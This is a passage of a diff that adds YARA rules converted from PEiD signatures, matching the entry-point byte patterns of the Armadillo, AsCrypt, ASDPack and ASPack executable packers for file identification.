+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00178_Armadillo_v2_75a_
+{
+    meta:
+        description = "[Armadillo v2.75a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00179_Armadillo_v2_85_
+{
+    meta:
+        description = "[Armadillo v2.85]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00180_Armadillo_v2_xx__CopyMem_II__
+{
+    meta:
+        description = "[Armadillo v2.xx (CopyMem II)]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00181_Armadillo_v3_00_
+{
+    meta:
+        description = "[Armadillo v3.00]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00182_Armadillo_v3_00a_
+{
+    meta:
+        description = "[Armadillo v3.00a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00183_Armadillo_v3_01___v3_50a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v3.01 - v3.50a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00184_Armadillo_v3_01__v3_05_
+{
+    meta:
+        description = "[Armadillo v3.01, v3.05]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 75 02 EB 15 EB 33 C9 75 18 7A 0C 70 0E EB 0D E8 72 0E 79 F1 FF 15 00 79 09 74 F0 EB 87 DB 7A F0 A0 33 61 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 A0 8B 04 24 EB 03 7A 29 E9 C6 00 90 C3 E8 70 F0 87 D2 71 07 E9 00 40 8B DB 7A 11 EB 08 E9 EB F7 EB C3 E8 7A E9 70 DA 7B D1 71 F3 E9 7B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00185_Armadillo_v3_10_
+{
+    meta:
+        description = "[Armadillo v3.10]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 3D 13 00 00 FF 15 30 40 44 00 A3 84 B7 44 00 E8 FB 11 00 00 A3 E0 A1 44 00 E8 A4 0F 00 00 E8 E6 0E 00 00 E8 4E F6 FF FF 89 75 D0 8D 45 A4 50 FF 15 38 40 44 00 E8 77 0E 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 7C 41 44 00 50 E8 49 D4 FE FF 89 45 A0 50 E8 3C F6 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 B5 0C 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 2E F6 FF FF 83 3D E8 A1 44 00 01 75 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00186_Armadillo_v3_xx_
+{
+    meta:
+        description = "[Armadillo v3.xx]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00187_Armadillo_v4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1 4B 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4B 00 A3 A4 B7 4B 00 E8 01 12 00 00 A3 F8 A1 4B 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00188_Armadillo_v4_10____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D0 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00189_Armadillo_v4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D8 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00190_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24 ?? ?? 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C ?? ?? 00 A3 24}
+    condition:
+        $a
+}
+rule PEiD_00191_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00192_AsCrypt_v0_1____SToRM____3_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - #3]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00193_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00194_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00195_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00196_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+    condition:
+        $a
+}
+
+rule PEiD_00197_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00198_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00199_ASDPack_v1_0____asd_
+{
+    meta:
+        description = "[ASDPack v1.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F}
+    condition:
+        $a
+}
+rule PEiD_00200_ASPack_1_08_
+{
+    meta:
+        description = "[ASPack 1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00201_ASPack_v1_00b_
+{
+    meta:
+        description = "[ASPack v1.00b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00202_ASPack_v1_01b_
+{
+    meta:
+        description = "[ASPack v1.01b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00203_ASPack_v1_02a_
+{
+    meta:
+        description = "[ASPack v1.02a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00204_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00205_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00206_ASPack_v1_03b_
+{
+    meta:
+        description = "[ASPack v1.03b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00207_ASPack_v1_04b_
+{
+    meta:
+        description = "[ASPack v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00208_ASPack_v1_05b_
+{
+    meta:
+        description = "[ASPack v1.05b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00209_ASPack_v1_061b_
+{
+    meta:
+        description = "[ASPack v1.061b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00210_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00211_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00212_ASPack_v1_07b__DLL__
+{
+    meta:
+        description = "[ASPack v1.07b (DLL)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00213_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00214_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00215_ASPack_v1_08_01____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.01 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00216_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00217_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00218_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 ?? 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00219_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00220_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00221_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00222_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00223_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00224_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00225_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00226_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00227_ASPack_v1_08_04____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.04 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 41 06 00 00 EB 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00228_ASPack_v1_08_x_
+{
+    meta:
+        description = "[ASPack v1.08.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00229_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00230_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00231_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00232_ASPack_v2_000____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.000 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 70 05 00 00 EB 4C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00233_ASPack_v2_001____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.001 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 4C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00234_ASPack_v2_11_
+{
+    meta:
+        description = "[ASPack v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 3D 04 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00235_ASPack_v2_11b_
+{
+    meta:
+        description = "[ASPack v2.11b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00236_ASPack_v2_11c_
+{
+    meta:
+        description = "[ASPack v2.11c]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00237_ASPack_v2_11d_
+{
+    meta:
+        description = "[ASPack v2.11d]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00238_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+    condition:
+        $a
+}
+
+rule PEiD_00239_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "true"
+    strings:
